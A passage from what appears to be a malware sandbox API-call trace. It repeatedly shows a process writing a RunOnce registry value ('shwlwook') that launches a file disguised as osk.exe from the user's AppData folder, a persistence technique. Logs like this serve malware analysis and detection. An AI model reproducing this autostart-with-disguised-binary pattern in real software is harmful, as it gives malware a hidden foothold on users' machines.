lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.305] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.305] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.306] RegCloseKey (hKey=0x14c) returned 0x0 [0258.306] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.306] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.320] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.320] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.320] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.321] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.321] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.321] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.321] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.321] RegCloseKey (hKey=0x14c) returned 0x0 [0258.321] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.322] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.336] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.336] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.336] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.337] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.337] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.337] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.337] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.337] RegCloseKey (hKey=0x14c) returned 0x0 [0258.337] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.338] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.351] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.351] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.352] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.352] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.352] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.353] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.353] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.353] RegCloseKey (hKey=0x14c) returned 0x0 [0258.353] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.353] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.367] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.367] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.367] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.368] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.368] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.368] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.368] RegCloseKey (hKey=0x14c) returned 0x0 [0258.368] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.369] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.382] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.382] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.383] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.383] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.383] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.384] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.384] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.384] RegCloseKey (hKey=0x14c) returned 0x0 [0258.384] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.384] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.399] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.399] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.399] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.399] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.399] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.399] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.400] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.400] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.400] RegCloseKey (hKey=0x14c) returned 0x0 [0258.400] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.400] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.414] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.414] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.414] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.414] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.415] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.415] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.415] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.415] RegCloseKey (hKey=0x14c) returned 0x0 [0258.415] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.415] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.429] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.429] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.430] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.430] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.430] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.430] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.431] RegCloseKey (hKey=0x14c) returned 0x0 [0258.431] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.431] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.445] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.445] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.446] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.446] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.446] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.446] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.447] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.447] RegCloseKey (hKey=0x14c) returned 0x0 [0258.447] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.447] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.461] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.461] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.461] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.462] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.462] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.462] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.462] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.462] RegCloseKey (hKey=0x14c) returned 0x0 [0258.462] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.463] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.476] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.476] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.476] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.477] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.477] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.477] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.477] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.477] RegCloseKey (hKey=0x14c) returned 0x0 [0258.478] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.478] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.492] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.492] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.492] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.493] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.493] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.493] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.493] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.493] RegCloseKey (hKey=0x14c) returned 0x0 [0258.494] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.494] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.508] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.508] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.508] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.508] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.509] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, lpdwDisposition=0x0 | out: phkResult=0x95e48c*=0x14c, lpdwDisposition=0x0) returned 0x0 [0258.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0258.509] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cchWideChar=-1, lpMultiByteStr=0x95e480, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", lpUsedDefaultChar=0x0) returned 40 [0258.509] RegSetValueExA (in: hKey=0x14c, lpValueName="shwlwook", Reserved=0x0, dwType=0x1, lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe", cbData=0x28 | out: lpData="C:\\Users\\FD1HVy\\AppData\\Roaming\\osk.exe") returned 0x0 [0258.509] RegCloseKey (hKey=0x14c) returned 0x0 [0258.509] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkCompletion () returned 0x0 [0258.510] GetMessageW (in: lpMsg=0x95f69c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x95f69c) returned 1 [0258.523] TranslateMessage (lpMsg=0x95f69c) returned 0 [0258.523] DispatchMessageW (lpMsg=0x95f69c) returned 0x0 [0258.523] Windows::Foundation::Diagnostics::AsyncCausalityTracerFactory::TraceSynchronousWorkStart () returned 0x0 [0258.524] _mbsnbcmp (_Str1=0x95e4b0, _Str2=0x71673fb8, _MaxCount=0x5) returned 0 [0258.524] RegCreateKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", Reserved=0x0, lpClass=0x0, dwOptions=0x0, samDesired=0x2, lpSecurityAttributes=0x0, phkResult=0x95e48c, 